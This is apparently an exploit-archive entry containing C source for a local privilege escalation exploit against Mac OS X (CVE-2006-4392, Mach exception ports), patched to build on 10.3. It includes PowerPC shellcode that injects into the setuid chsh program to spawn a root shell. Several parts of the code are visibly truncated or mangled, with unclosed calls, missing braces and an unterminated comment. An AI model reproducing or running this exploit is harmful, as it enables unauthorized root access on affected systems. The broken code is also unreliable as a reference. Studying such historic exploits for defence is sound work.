Apple Mac OSX 10.4.7 - Mach Exception Handling Local (10.3.x)







/* excploit.c - 28 Nov 2005 -
 * Exploitable Mach Exception Handling
 * Affected:  Mac OS X 10.4.6 (darwin 8.6.0) and older
 * When a process executes a setuid executable, all existing rights to the
 * task port are invalidated, to make sure unauthorized processes do not
 * retain control of the process.  Exception handlers however remain installed,
 * and when some kind of hardware exception occurs, the exception handler can
 * receive a new right to the task port as one of its arguments, and thus
 * regain full control over the process.
 * Interestingly, the code to reset the exception handlers (and hence thwart
 * this attack) upon exec() of a setuid executable has been present in the
 * kernel since OSX 10.3, but is disabled (#if 0) for unspecified reasons.
 * This exploit installs an exception handler on illegal memory access, forks
 * off a child (the handler is inherited), and uses RLIMIT_STACK to cause a
 * segfault after exec().  The shell code invokes /usr/bin/id.
 * Greetings to Scrippie and #vuln
 * Kernel
 * CVE-ID: CVE-2006-4392
 * Available for: Mac OS X v10.4 through Mac OS X v10.4.7, Mac OS X Server v10.4 through Mac OS X Server v10.4.7
 * Impact: Local users may be able to run arbitrary code with raised privileges
 * Description: An error handling mechanism in the kernel, known as Mach exception ports, provides the ability 
 * to control programs when certain types of errors are encountered. Malicious local users could use this mechanism 
 * to execute arbitrary code in privileged programs if an error is encountered. This update addresses the issue by 
 * restricting access to Mach exception ports for privileged programs. Credit to Dino Dai Zovi of Matasano Security 
 * for reporting this issue.
 * did you guys really forget to patch 10.3 ? 
 * I know the original exploit didn't compile there but comon guys. 
 * This is a patch for
 * Dropped in on Sept 21 2006 
 * - KF
#include <sys/time.h>   // One liner to make it compile on 10.3.X 
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
#include <mach/mach.h>

extern boolean_t exc_server(mach_msg_header_t *, mach_msg_header_t *);

int main(void) {
	mach_port_t self = mach_task_self(), exc;
	mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &exc);
	mach_port_insert_right(self, exc, exc, MACH_MSG_TYPE_MAKE_SEND);
	task_set_exception_ports(self, EXC_MASK_BAD_ACCESS, exc,

	if (fork()) {
		mach_msg_server_once(exc_server, 512, exc, 0);
	} else {
		static struct rlimit rl;
		setrlimit(RLIMIT_STACK, &rl);
	        execl("/usr/bin/chsh", "chsh", NULL);

	return 0;

static long implant[] = {
	0x48000015, 0x00000000, 0x00100000, 0x00000000,
	0x00100000, 0x7ca802a6, 0x38600003, 0x38850000,
	0x380000c3, 0x44000002, 0x60000000, 0x38600000,
	0x38000017, 0x44000002, 0x60000000, 0x38600000,
	0x380000b5, 0x44000002, 0x60000000, 0x38650068,
	0x38850074, 0x90640000, 0x3800003b, 0x44000002,
	0x60000000, 0x38000001, 0x44000002, 0x2f2f2f62,  // /bin/csh is more fun than /usr/bin/id 
	0x696e2f63, 0x73680000, 0x00000000, 0x00000000,  

kern_return_t catch_exception_raise_state_identity(mach_port_t exc, thread_t t,
		task_t task, exception_type_t e, exception_data_t ed,
		mach_msg_type_number_t edsz, int *f, thread_state_t *is,
		mach_msg_type_number_t isz, thread_state_t *os) {
	vm_allocate(task, os, sizeof implant, TRUE);
	vm_write(task, *os, implant, sizeof implant);

# [2006-09-30]